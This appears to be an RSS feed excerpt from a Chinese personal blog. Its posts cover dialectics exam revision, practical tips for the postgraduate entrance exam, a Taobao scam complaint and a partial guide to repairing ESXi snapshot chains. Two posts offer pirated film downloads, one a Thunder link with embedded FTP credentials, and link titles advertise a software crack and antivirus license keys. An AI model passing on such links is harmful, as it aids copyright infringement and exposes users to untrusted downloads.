<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第二，事物发展的量变和质变的辩证关系原理。其意义在于，我们就要十分注意量变和质变的关系。&ldquo;不积跬步，无以至千里；不积小流，无以成江海&rdquo;，只有脚踏实地创造质变的条件，才能达成事物质的飞跃；急于求成，拔苗助长，必将事与愿违。然而，当事物质变的条件已趋成熟时，则应把握契机，乘势而为，勇于创新，促成事物的转化。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">4.否定之否定规律包括的原理有：</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第一，辩证否定观。坚持辩证的否定观，就要对一切事物采取科学的分析态度，要同时看到事物的肯定方面和否定方面，在肯定中看到否定，在否定中看到肯定，不能肯定一切或否定一切。对待古代文化遗产，要批判地继承，&ldquo;古为今用&rdquo;，&ldquo;取其精华，弃其糟粕&rdquo;。对待外国东西，要有选择地吸收，&ldquo;洋为中用&rdquo;，既不能一概拒绝，也不能全盘照搬。建设中国特色社会主义，要大胆地吸取人类社会包括资本主义社会所创造的一切文明成果，同时对其腐朽的东西给予坚决的批判。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第二，事物辩证发展的否定之否定过程。否定之否定规律揭示了事物发展的方向和道路，这一原理对于人们正确认识事物发展的曲折性和前进性，具有重要的指导意义。由于事物发展是前进性和曲折性的统一，我们就不能奢望什么事情都是径情直遂、一帆风顺的，要善于洞察事物发展中的各种可能性，充分估计其困难和曲折，经得起困难和挫折的考验，坚定信心，知难而上，开辟前进的道路。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">5.唯物辩证法的基本范畴都具有重要的方法论意义：</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第一，内容与形式是对立统一的关系，把握内容与形式这对范畴时，既要重视内容，反对形式主义，又要善于运用形式，发挥其积极作用。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第二，现象与本质是既对立又统一的。任何现象都是本质的表现，人们正是通过对事物现象的去粗取精、去伪存真、由此及彼、由表及里的认识过程，才不断深化对事物本质的认识。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第三，客观世界的因果联系是辩证的，两者既有联系又有区别，并在一定条件下相互转化。辩证地分析事物的因果关系，分析存在和发展的不同原因及其不同结果，可以增强人们活动的自觉性、预测性和调控性。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第四，现实性与可能性是对立统一的关系。要求人们立足现实，展望未来，注意分析事物发展的各种可能，发挥主观能动性，做好应对不利情况的准备，争取实现好的可能。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">第五，必然性和偶然性是对立统一的关系。所以必须重视事物发展的必然性，把握事物发展的总趋势，但也绝不可忽视偶然性的作用，要善于从偶然中发现必然，把握有利于事物发展的机遇。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">6.正确理解主观能动性和客观规律性的关系，是一个重大的理论问题和实践问题，要用唯物的、辩证的观点去思考和把握。首先，必须尊重客观规律。其次，在尊重客观规律的基础上，要充分发挥主观能动性。</p>
<p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; ">根据上述原理，人们要正确发挥主观能动作用，应当注意以下几点：首先，从实际出发，努力认识和把握事物的发展规律。其次，实践是发挥人的主观能动作用的基本途径。最后，主观能动作用的发挥，还依赖于一定的物质条件和物质手段。</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p><p><a href="http://www.holmesian.org/Conan-2011-DVD">名侦探柯南剧场版DVD-沉默的15分钟</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-jingjifazhan">2011年考研政治大题预测-转变经济发展</a></p><p><a href="http://www.holmesian.org/2010-today">相信自己的判断，别跟风</a></p><p><a href="http://www.holmesian.org/zhengzhi-kaoyan-muban">2011年考研政治大题、政经实用技巧</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-notice">2011年硕士研究生招生考试注意事项</a></p></div>]]></description>
	<pubDate>Mon, 10 Jan 2011 02:11:23 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2011-kaoyan-duilitongyi</guid>

</item>
<item>
	<title>考研考场</title>
	<link>http://www.holmesian.org/2011_kaoyan</link>
	<description><![CDATA[<p>恩，是时候发这个了，多届考生经验<br />
你所不知道的考场真相，假如你是第一次考研的话</p>
<p>一．合法作案工具<br />
1.铅笔（正品中华牌2B铅笔，至少2根，两头都削好，别在考试的时候用牙咬）<br />
2.橡皮（两块，一块小的，用来擦答题卡，一块大的，用来擦别的东东）<br />
3.小刀（试卷和答题卡都是封在小信封中，必须用小刀才可以裁开）<br />
4.固体胶（封信封用的，或者胶水也行）<br />
5.身份证，准考证，学生证（本校考生，可能需要带这个，社会考生就不需要了）<br />
6.真正的手表（而不是手机）<br />
7.中性笔（黑色、蓝色、蓝黑这三种都可以的，不要使用钢笔或者圆珠笔就好，传说现在有一种中性笔用任何橡皮都可以擦，我没试过，大家可以先看看）。<br />
8.尺子，做政治的时候用吧，对于那些卷面很扭曲的孩子</p>
<p>非法作案工具<br />
1.手机，是不允许带的，最好别带。如果带了，一定要关机，而且不能放在身上。放书包里吧，然后把书包放老师指定位置<br />
2.草稿纸是不能带的，数学是提供草稿纸的，用完了可以要啊<br />
3.计算器文曲星什么的</p>
<p><br />
二.进入考场正式考试之前<br />
首先说明一点，考研与其他考试不同之处在于，考卷的发放不是试卷，而是用信封装起来，信封的拆开，以及最后交卷的封装，都是考生自己完成，从信封发放后到上交前，监考官是没有权利碰你的试卷的。信封里面除了装着答题卡、试卷以外，应该还有一个封条，是你最后用来封这个信封的。</p>
<p>不要弄错进场时间，迟到十五分禁止入场！最好提前二十分钟到场，08年有考生在树下躲着背英语作文而错过考试时间，发生考场门口给老师下跪请求入场的杯具。进入考场，请各位考生关闭手机等通讯设备，并且尽量不要放在身上，各位考生按照在桌面上竖起的小牌子，对号入座。将携带与考试无关的物品一律放在考场前方，然后监考老师读考场规则和考试注意事项。之后，监考老师按照考场的考生名单和照片依次与各位考生的身份证，准考证等证件一一对照无误后。然后发放固体胶棒（有的地方是胶水或者浆糊，各地可能规定不一样，最好自己准备。至于裁纸的小刀，考场应该不准备，所以建议自己购买小刀）在规定时间，展示该科试卷的密封大信封袋，以表示没有人在考前打开过，之后裁信封，取出各位考生考试小信封袋，发放给相应考生。</p>
<p>在小信封上应该是写清楚您的准考证号码和姓名和座位号（应该是这样的，貌似专业课还会写上报考学校的名字）。信封有两个开口方向，请仔细看清楚在哪一次开口（千万别弄错口了，否则后果很严重，监考老师会告诉您的，一定要仔细听，如果没有听清楚，一定要询问，不要想当然的剪裁，裁错口要老师取找新的密封标签，灰常麻烦），请不要裁错方向。取出试卷等所有信封中物品，按照监考老师提到的信封内容与您的事物一一对照，看是否缺少东西，请不要着急看题目，一定要仔细地听监考老师的讲解，绝对不要为一两分钟的答题时间而出现错误。一定要将里面的试卷全部倒出来，注意是全部，注意信封中一定不要留下任何考卷，并且确认您的试卷数量和老师告诉你们的相符合，一万封封错一两封是有可能的，万一你碰到了，一定要找老师要，每个考场应该有备用卷。话说06年1月考研的时候，有个别网友就将一个半页的数学卷纸落在了信封里，导致总分少了30-40分。因为06年1月考研数学卷纸不像05年的考试卷纸，信封里的卷纸并不是完整的长页，而是一个长页卷纸和一个单页的小页，所以个别考生由于没有仔细检查信封或者不注意将小页夾在卷纸里，或者掉在地上而没 有做，所以导致未能得到理想分数）。</p>
<p>仔细听监考老师的嘱咐，按照规定填写卷纸和答题卡，答题卡的学校名称和准考证号码的文字书写部分，不能用铅笔书写，要 使用中性笔或者水性笔，主要是为了防止有人在封卷后窜改您的答题卡。之后准备答题。</p>
<p>注意事项：</p>
<p>1．一定要仔细的听监考老师的安排和嘱咐，不要因为看到卷纸，就忙于做题。因为这个1-2分钟的时间对于您的答题有什么大的帮助，但是会因为您的注意力不集中，而犯下难以弥补的过失。</p>
<p>2．一定要注意信封开口的方向，不要草率地剪开信封，因为信封必须是用刀片或者小刀从信封一段划开，还有一种方法就是用铅笔插进去慢慢转慢慢撕开的方法，这个我也不好说清楚，大家可以练习一下怎么完整的拆信封。</p>
<p>3．用小刀划信封的时候不要太用力 因为信封里面有一个纸舌头用来最后翻出来粘合信封的。动刀之前一定要看好！</p>
<p><br />
三．考中</p>
<p>1，考场发放草稿纸张问题。英语和政治考试一般是不发放草稿纸的，数学和专业课考试是发放草稿纸，一般是首先发放一张草稿纸，正反面完全使用之后，举手示意监考老师，监考老师拿一张新的草稿纸，替换您现有的草稿纸，总之保持在手中的草稿纸一般只能有一张。</p>
<p>2，英语答题卡。很多朋友并没有见过考研英语答题卡。英语答题卡不同于大学英语等级考试的答题卡。考研英语答题卡分为两张，一张是客观题目，一张是主观题目也就是作文。客观答题卡与四六级考试差距不大，只是新题型等部分的选项要多于a，b，c，d，会出现e，f等选项，这地方的涂卡要特别注意。但是主观题答题卡要特别注意，从以往经验来看，考研英语的翻译和大小作文均在主观答题卡中做答，因此合理安排空间，字迹清楚，卷面整洁干净对于您 的主观题目得分有很大影响。一定要控制字体的大小，并且一定要做到心中有数，再落笔，否则一旦写错 了，一个字，一个词，改起来不难，但是如果是一句话写错了，可就很难改了，其原因有二，一写作和翻译空间有限，句子的上下行很紧凑，没有空间添加单词（即 使有，单词写得也非常的小），其二，整个空间有限，很多人写作文和翻译，都控制不了字数，段落安排等诸多因素，而导致整个答题空间不足，所以浪费了一句话的长度，那么您的小作文和翻译很难回答得整洁和规矩。主观题目答题卡是这样的，正面上部分是翻译回答部分，翻译的左侧是考生信息。翻译的下部分是小作文。 答题卡背面是大作文。总体上看，翻译的回答空间要小于小作文，小作文要明显小于大作文。所以那些写作高手和英语能手门，建议写小作文的时候就别发挥了，实在没有太多的空间给您发挥，只要将应用文的意思和要求表述清楚就好。而大作文的空间相对要宽裕很多，尽情的写作，应该不成问题，那里才是大家争夺高分的战场。写作文得时候，尤其是小作文，一定要安排好位置，不要最后连落款都没有地方写，土纸当年考研犯过类似的问题。</p>
<p>3．英语交卷问题。与四六级考试不同。四六级考试，客观试卷和客观答题卡先上交，而主观题和主观答题纸最后交，考研英语考试与此有很大不同。考研英语整个考试过程，监考老师没有任何权利接触您的答题纸和试卷。这也正是信封的作用。信封是您自己打开的，也是您自己封上的，所有的东西，交给你一样不少，交给阅卷老师也是一样不少，这都是您自己的责任，与监考老师无关。因此监 考老师根本无权也没有这个必要接触您的试卷。所以大家可以很清楚了，不需要将答题卡和试卷分开交，也不需要分时段交卷纸。一切只有一个命令，就是铃声。开始正是考试铃声响起，您的信封中所有试题都是您自己过手的，结束考试的铃声响起，也是您亲手将所有的上交试卷送到信封里，自己密封，上交给监考老师的。</p>
<p>4，关于各科目答题。下面逐项进行说明：</p>
<p>（1）政治 客观题在答题卡上回答，主观题在答题纸上回答。在回答主观题目的时候，建议控制字数。因为很多考生可能有这样的误区，每一道题目回答的字数越多，得分应该越高。其实这样考虑是不合理的，判卷老师每天批阅大量的卷纸，写很多字，还比较潦草，评分上肯定不占优势，这是其一。其二，判分根据得分考点来评分，没有用的话写得再多也不能得分。这导致卷面及其紧张，潦草，并且很可能导致判卷老师找不到应该得分的考察点。建议，在回答主观题目时，应该 事先考虑好问题，找到得分点，再动笔，千万不要没有考虑周全，就下笔答题，这样只会写上很多令判卷老师厌烦的多余字。</p>
<p>建议写满卷面的80%以上吧，其实很多时候不是没字写，是没地写，不要回答一问或者写一个点的时候的刹不住，第二问或者后面的没地写，很杯具的</p>
<p>（2）英语 参见上面2，3两点。</p>
<p>（3）数学 有老师建议数学不按照题目顺序而是按照科目来做，也就是先做高数所有的题目，再做概率再做线代，换过来也可以，看自己。我觉得这个建议还可以，数学考试没有答题卡，在试卷上填写选择题答案。这里主要注意主观大题的回答。尽量安排好回答的空间，如果不会做，可以先放一放，等所有题目 答完，再回来做。强烈建议，选择题和填空题如果三分钟没有思考出来结果，就果断放弃，如果是选择题目，并且选项为A，0，B，1，C，2，D，3等类似题 目，就选择2的答案（强调一下，这是在您实在不会的情况下，遇见这种题目，就蒙一个含有2的答案）。总之，选题和填空题的解答时间不要影响后面的大题目， 毕竟很多大题目还是很简单的。土纸在此强烈建议，在解答主观大题目的时候，一定要学会放弃不会做，或者是暂时放弃不会做的，不要为了一道题目苦苦思考很长 时间，最后导致概率和线性代数等部分的题目无法解答，其实我们仔细想想，概率和线性代数的题目相对要比高等数学的内容简单，题型也更容易曾经做到过，因此 不要为了一道题目耽误了后面20-30分的内容。每年考研均有人在此犯下错误。</p>
<p>（4）专业课 专业课部分，可能有极个别需要使用计算器的科目，一定要准备好计算器，别到时候忘记了，那可是很麻烦的。专业课的试题一般也是回答在答题纸上，如果 专业课试题上面有选作部分，建议考生一定要注明清楚，您选择了哪部分的选作题目。土纸有一种方法，比如说一共12到选择题目，只要求选作10道。您可以这 样处理，在答题纸上，将不选作的两道题目，题号跟选作的题号都正常写出来，然后在正常填写选项的位置上，建议您划上个叉号，并注明，此题目没有选作。如果 是大题目，比如5道大题，您选作4道题目，您可以在不选作的题目，在最醒目的位置上予以标注，告示判卷专业课老师。在回答专业课时，人情分占的比例还是很高的，比如说卷面整洁程度，字体工整程度等等对于提高您的专业课分数都有说帮助。如果您哪道专业课题目，如果不会做，那么也建议您把可能或者能够想到的思路和公式等写上去，并作一些必要的说明或者运算等等，这样没准判卷老师会给您几分呢。呵呵。</p>
<p>四．考试结束</p>
<p>紧张的一科考试结束了，您还有很多工作要做，首先就是封装您的信封，将您需要放入信封的东西按照监考老师的要求，一样样的放入信封，检查无误后，再封上信封。贴上密封贴。然后等待老师的收缴。 试卷和答题卡应该是都要装进去的，草稿纸不用装进信封最后直接上交给老师。有些人漏装了试卷或者答题卡，有些人还多装了东西甚至把准考证都装进去交上去了，比较麻烦的。控制好时间，铃声响了就别死命在那写了，不要以为平时考试你左手跟老师搏斗右手在那拼命答题老师没说你考研就可以这样搞，有些老师很严格的，我的考场上一位同学因为多写了几下被老师拒绝收试卷，最后我们考场有人都为那个家伙求情老师还是不收，不知道后来怎么样了。</p>
<p>剩下的工作，就是有秩序的离开考场。个别网友由于走的时候仓促，将一些考试用具落在考生，给正常考试造成不小的麻烦。在准备离开考场的时候，一 定要检查考课桌里，课桌周围地上的是否有掉下来的东西，并且检查好自己的证件（准考证，身份证，可能还有学生证）是否放好，然后带上所有物品离开考场。</p>
<p>五．吃喝拉撒睡</p>
<p>建议各位考生不要在考试期间饮水。但是土纸特别推荐一种可以醒脑的方法，现在市面上有很多具有醒脑功能的饮料，比如说红牛等。您可以在正规的大型超市里购买具有这些醒脑功能的饮料，在开考之前的半个小时的时候引用，有助于缓解考生的紧张压力，并且可以起到提神醒脑的作用，虽然不一定要令您超常发挥，至少可以减少您失常的可能性。</p>
<p>吃喝<br />
1，尽量少吃容易坏肚子的食品。如牛奶，麻辣口味的食品（方便面）等。<br />
2，尽量三餐都要按时保证，那些早上不爱吃早饭的考生，可要暂时改掉这样的毛病了。<br />
3，建议吃一些核桃等干果，有助于加强记忆力，当然也不要吃得过多。<br />
4，建议早上要吃鸡蛋，当然煎鸡蛋最好了。</p>
<p>有些mm担心考试的时候会来那个，因为我是gg，所以在这方面没什么斗争经验，但我记得我高考的时候一个同学吃药为了推迟，却刚好考试的时候来了，很无语,所以大家也要谨慎点，呵呵</p>
<p>拉撒<br />
考前别猛喝水，毕竟三个小时很长的，考中实在忍不住也别憋着，监考老师好像都是一男一女，方便上厕所嘛。</p>
<p>睡<br />
很多人会很紧张的，其实都是正常的，保持适度紧张有助于超常发挥，不过其实就算通宵都睡不着也根本就没有关系，别担心，洗个脸，喝个咖啡，吃个早饭，照样横冲直撞的走进考场！</p>
<p>最后吧，说一小点吧，进考场前，你会看到黑压压的人群，不要吓到了<br />
嘴角上扬，以蔑视的姿态，从心里告诉他们：<br />
跟老子斗，你们都嫩了点，老子是无敌的！！！</p>]]></description>
	<pubDate>Wed, 29 Dec 2010 04:16:37 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2011_kaoyan</guid>

</item>
<item>
	<title>《非诚勿扰2》高清DVD 1.04G 下载</title>
	<link>http://www.holmesian.org/t_810</link>
	<description><![CDATA[<p>不好意思之前那个是假的 &nbsp;我也被骗了&hellip;&hellip;</p>

靠谱的下载链接
thunder://QUFmdHA6Ly8xMjI1OjEyMjVAZnRwLmZmZHkuY2M6MjA1MTgvt8ezz87wyMUyRFZEc2NyLnJtdmJaWg==

]]></description>
	<pubDate>Fri, 24 Dec 2010 12:07:46 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_810</guid>

</item>
<item>
	<title>淘宝太令我失望了！</title>
	<link>http://www.holmesian.org/t_809</link>
	<description><![CDATA[在淘宝网欧飞数卡专营店话费充值多日未到账，付款后系统自动确认收货，实际话费未到账，投诉无门，联系客服无人应答。<br/>
<br/>
窝火的是付款之后淘宝会不经我的允许在一分钟内自动确认收货！！而且从去年开始淘宝上就已经出现了类似的情况，到今年七月份达到了高峰！让人无法理解的是被骗费用的大都一样是在这家店铺，315的网上投诉也有数百条类似投诉而一年多的时间里淘宝面对这种欺诈无有益作为甚至起到了帮凶的作用！！<br/>
<br/>
最窝火的是这几家欺诈店铺是淘宝快速充值的默认商家！！<br/>
<br/>
《让子弹飞》的重头戏是三位大哥鸿门宴聚首喝酒。白酒厂家愿出数千万植入广告。制片人动心了，但姜文坚决不干，理由是如此大腕的三位重量级演员聚首喝酒时，观众猛然看到酒瓶上的商标特写，会勃然大怒。经过数轮争执，最终制片人妥协。姜文很牛。不该挣的钱千万别挣，挣了会使你失去更多的钱。<br/>
<br/>
淘宝一路走好吧！]]></description>
	<pubDate>Wed, 22 Dec 2010 13:57:18 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_809</guid>

</item>
<item>
	<title>《让子弹飞》清晰版mkv下载-1.43GB</title>
	<link>http://www.holmesian.org/rang-zi-dan-fei</link>
	<description><![CDATA[<span style="font-family: Verdana, Helvetica, Arial, sans-serif; color: #444444" class="Apple-style-span"><span style="border-collapse: collapse; font-size: 14px; line-height: 22px" class="Apple-style-span"><br /></span></span><div><span style="border-collapse: collapse; font-size: 14px; line-height: 22px; font-family: Verdana, Helvetica, Arial, sans-serif; color: #444444" class="Apple-style-span">让子弹飞，啥也不说了，需要的TX自己下，</span><span style="border-collapse: collapse; font-size: 14px; line-height: 22px; font-family: Verdana, Helvetica, Arial, sans-serif; color: #444444" class="Apple-style-span">1.43G，MKV，目前最清晰版。</span></div><div><span style="font-family: Verdana, Helvetica, Arial, sans-serif; color: #444444" class="Apple-style-span"><span style="border-collapse: collapse; font-size: 14px; line-height: 22px" class="Apple-style-span"><br /></span></span></div><div><span style="font-family: Verdana, Helvetica, Arial, sans-serif; color: #444444" class="Apple-style-span"><span style="border-collapse: collapse; font-size: 14px; line-height: 22px" class="Apple-style-span">下面是种子</span></span></div><div><span style="border-collapse: collapse; font-size: 14px; line-height: 22px; font-family: Verdana, Helvetica, Arial, sans-serif; color: #444444" class="Apple-style-span">[file][/file]</span></div><div><span style="font-family: Verdana, Helvetica, Arial, sans-serif; color: #444444" class="Apple-style-span"><span style="border-collapse: collapse; font-size: 14px; line-height: 22px" class="Apple-style-span"><br /></span></span></div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/mstsc_patch">拒绝远程连接泄露你的信息</a></p><p><a href="http://www.holmesian.org/KillNetKeeperTools">破解星空极速Netkeeper2.5V18工具下载</a></p><p><a href="http://www.holmesian.org/post/441">一些比较好用的CMS系统</a></p><p><a href="http://www.holmesian.org/jianguodaye">建国大业-高清-DVDRip-下载</a></p><p><a href="http://www.holmesian.org/jay_donotfly">周杰伦新歌《超人不会飞》</a></p><p><a href="http://www.holmesian.org/post/629">卡巴斯基杀毒软件授权文件(key)</a></p></div>]]></description>
	<pubDate>Mon, 20 Dec 2010 04:15:10 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/rang-zi-dan-fei</guid>

</item>
<item>
	<title>记一次修复ESXi的快照混乱问题的解决</title>
	<link>http://www.holmesian.org/ESXi-Snap-Error</link>
	<description><![CDATA[<p>母系统为ESXi 3.5的服务器，上面跑着的一台客户机FreeBSD，不知因为什么原因上面的十一个快照紊乱了，记得以前强行删除所有快照的时候可能会遇到这个情况。明白问题状态之后第一时间将客户机关闭，打开ESXi的命令行控制台，相应的文件夹内有FreeBSD8.vmdk，FreeBSD8-0000xx.vmdk等文件，FreeBSD8.vmdk为镜像之前最基本的硬盘，FreeBSD8-0000xx.vmdk是每个快照之后的硬盘镜像。</p>
<p>这是在等PORTS更新和编译的事件中匆匆写的，有些混乱。</p>
<p>网上关于ESXi下虚拟硬盘损坏该怎么修复的相关文档比较少，幸好找到了一篇跟今天遇到的情况类似的<a href="http://blog.sina.com.cn/s/blog_4ce6566f0100hafm.html">文章</a>，很勉强地将出问题的硬盘恢复到了第八个快照，9、10、11快照都挂掉了，大概过程如下：</p>
<p>首先大概看一下虚拟硬盘和快照的配置文件</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>cat FreeBSD8.vmdk</span></span></li>
    <li><span><span class="comment"># Disk DescriptorFile</span></span></li>
    <li class="alt"><span>version=<span class="number">1</span></span></li>
    <li><span>CID=ca6e491c</span></li>
    <li class="alt"><span>parentCID=ffffffff</span></li>
    <li><span>createType=<span class="string">&quot;vmfs&quot;</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># Extent description</span></span></li>
    <li class="alt"><span>RW <span class="number">52428800</span><span> VMFS </span><span class="string">&quot;FreeBSD8-flat.vmdk&quot;</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="comment"># The Disk Data Base</span></span></li>
    <li><span><span class="comment">#DDB</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span>ddb.toolsVersion = <span class="string">&quot;0&quot;</span></span></li>
    <li class="alt"><span>ddb.adapterType = <span class="string">&quot;lsilogic&quot;</span></span></li>
    <li><span>ddb.geometry.sectors = <span class="string">&quot;63&quot;</span></span></li>
    <li class="alt"><span>ddb.geometry.heads = <span class="string">&quot;255&quot;</span></span></li>
    <li><span>ddb.geometry.cylinders = <span class="string">&quot;3263&quot;</span></span></li>
    <li class="alt"><span>ddb.uuid = <span class="string">&quot;60 00 C2 97 58 8b 85 4b-0d 26 c1 0d 18 6f 30 99&quot;</span></span></li>
    <li><span>ddb.virtualHWVersion = <span class="string">&quot;4&quot;</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
cat FreeBSD8.vmdk
# Disk DescriptorFile
version=1
CID=ca6e491c
parentCID=ffffffff
createType=&quot;vmfs&quot;

# Extent description
RW 52428800 VMFS &quot;FreeBSD8-flat.vmdk&quot;

# The Disk Data Base
#DDB

ddb.toolsVersion = &quot;0&quot;
ddb.adapterType = &quot;lsilogic&quot;
ddb.geometry.sectors = &quot;63&quot;
ddb.geometry.heads = &quot;255&quot;
ddb.geometry.cylinders = &quot;3263&quot;
ddb.uuid = &quot;60 00 C2 97 58 8b 85 4b-0d 26 c1 0d 18 6f 30 99&quot;
ddb.virtualHWVersion = &quot;4&quot;</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>这是基本的硬盘，没有什么问题，可以挂上到虚拟机中直接运行，但是硬盘里面的内容都是相当老的(就是第一次做快照之前的)</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>vmkfstools -i FreeBSD8-</span><span class="number">000011.vmdk</span><span> recover/newFB8.vmdk</span></span></li>
    <li><span>/vmfs/volumes/<span class="number">4c4b73b2</span><span>-</span><span class="number">7bd2fabc</span><span>-</span><span class="number">31ce</span><span>-</span><span class="number">00188b48fd66</span><span>/FreeBSD8 </span><span class="comment"># vmkfstools -i FreeBSD8-000011.vmdk recover/newFB8.vmdk</span></span></li>
    <li class="alt"><span>Destination disk format: VMFS thick</span></li>
    <li><span>Failed to open <span class="string">'FreeBSD8-000011.vmdk'</span><span>: The parent virtual disk has been modified since the child was created (</span><span class="number">18</span><span>).</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
vmkfstools -i FreeBSD8-000011.vmdk recover/newFB8.vmdk
/vmfs/volumes/4c4b73b2-7bd2fabc-31ce-00188b48fd66/FreeBSD8 # vmkfstools -i FreeBSD8-000011.vmdk recover/newFB8.vmdk
Destination disk format: VMFS thick
Failed to open 'FreeBSD8-000011.vmdk': The parent virtual disk has been modified since the child was created (18).
</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>如果不将所有的依赖修复正确的话就会出现上面的错误提示：The parent virtual disk has been modified since the child was created (18).</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>cat FreeBSD8-</span><span class="number">000001.vmdk</span></span></li>
    <li><span><span class="comment"># Disk DescriptorFile</span></span></li>
    <li class="alt"><span>version=<span class="number">1</span></span></li>
    <li><span>CID=fe461459</span></li>
    <li class="alt"><span>parentCID=<span class="number">77039591</span><span>     //这里开始出问题了</span></span></li>
    <li><span>createType=<span class="string">&quot;vmfsSparse&quot;</span></span></li>
    <li class="alt"><span>parentFileNameHint=<span class="string">&quot;FreeBSD8.vmdk&quot;</span></span></li>
    <li><span><span class="comment"># Extent description</span></span></li>
    <li class="alt"><span>RW <span class="number">52428800</span><span> VMFSSPARSE </span><span class="string">&quot;FreeBSD8-000001-delta.vmdk&quot;</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span><span class="comment"># The Disk Data Base</span></span></li>
    <li><span><span class="comment">#DDB</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span>ddb.toolsVersion = <span class="string">&quot;0&quot;</span></span></li>
    <li class="alt"><span>----------------------------------------------------------------------</span></li>
    <li><span>cat FreeBSD8-<span class="number">000002.vmdk</span></span></li>
    <li class="alt"><span><span class="comment"># Disk DescriptorFile</span></span></li>
    <li><span>version=<span class="number">1</span></span></li>
    <li class="alt"><span>CID=<span class="number">004ed653</span></span></li>
    <li><span>parentCID=fe461459</span></li>
    <li class="alt"><span>createType=<span class="string">&quot;vmfsSparse&quot;</span></span></li>
    <li><span>parentFileNameHint=<span class="string">&quot;FreeBSD8-000001.vmdk&quot;</span></span></li>
    <li class="alt"><span><span class="comment"># Extent description</span></span></li>
    <li><span>RW <span class="number">52428800</span><span> VMFSSPARSE </span><span class="string">&quot;FreeBSD8-000002-delta.vmdk&quot;</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># The Disk Data Base</span></span></li>
    <li class="alt"><span><span class="comment">#DDB</span></span></li>
    <li><span>ddb.toolsVersion = <span class="string">&quot;0&quot;</span></span></li>
    <li class="alt"><span>----------------------------------------------------------------------</span></li>
    <li><span>cat FreeBSD8-<span class="number">000003.vmdk</span></span></li>
    <li class="alt"><span><span class="comment"># Disk DescriptorFile</span></span></li>
    <li><span>version=<span class="number">1</span></span></li>
    <li class="alt"><span>CID=<span class="number">1d8809e0</span></span></li>
    <li><span>parentCID=<span class="number">004ed653</span></span></li>
    <li class="alt"><span>createType=<span class="string">&quot;vmfsSparse&quot;</span></span></li>
    <li><span>parentFileNameHint=<span class="string">&quot;FreeBSD8-000002.vmdk&quot;</span></span></li>
    <li class="alt"><span><span class="comment"># Extent description</span></span></li>
    <li><span>RW <span class="number">52428800</span><span> VMFSSPARSE </span><span class="string">&quot;FreeBSD8-000003-delta.vmdk&quot;</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span><span class="comment"># The Disk Data Base</span></span></li>
    <li class="alt"><span><span class="comment">#DDB</span></span></li>
